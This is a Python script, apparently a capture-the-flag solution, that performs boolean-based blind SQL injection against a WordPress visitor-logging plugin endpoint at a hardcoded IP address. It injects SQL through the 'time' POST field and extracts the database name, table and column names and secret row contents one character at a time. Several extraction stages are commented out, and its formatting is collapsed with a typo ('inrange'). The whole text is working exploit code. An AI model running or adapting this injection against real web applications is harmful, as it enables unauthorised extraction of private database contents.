from urllib.request import urlopen import re import requests
url="http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php" p={ "ip":"111", "user_agent":"111", "time":"222 and length(database())={}" }
# for i in range(30): # p = { # "ip": "111", # "user_agent": "111", # "time": f"null and length(database())={i})#" # } # r = requests.post(url, data=p) # r1=r.text # print(r1) # print(r1.count("成功")) # if r1.count("成功")==4: # print(i) # break
# for j in range(1000): # str1="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*." # for k in str1: # p = { # "ip": "111", # "user_agent": "111", # "time": f"null and substr(database(),{j},1)='{k}')#" # } # r = requests.post(url, data=p) # r1 = r.text # if r1.count("成功") == 4: # print(k) # break
# for i in range(300): # p = { # "ip": "111", # "user_agent": "111", # "time": f"null and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i})#" # } # r = requests.post(url, data=p) # r1=r.text # if r1.count("成功")==4: # print(i,end='') # break
# for j in range(1,206): # str1="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*." # for k in str1: # p = { # "ip": "111", # "user_agent": "111", # "time": f"null and substr((select group_concat(column_name) from information_schema.columns where table_name='secret_of_kokomi' and table_schema=database()),{j},1)='{k}')#" # } # r = requests.post(url, data=p) # r1 = r.text # if r1.count("成功") == 4: # print(k,end='') # break
for j inrange(1,3506): str1="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.{}" for k in str1: p = { "ip": "111", "user_agent": "111", "time": f"null and binary substr((select content from secret_of_kokomi limit 2,1),{j},1)='{k}')#" } r = requests.post(url, data=p) r1 = r.text if r1.count("成功") == 4: print(k,end='') break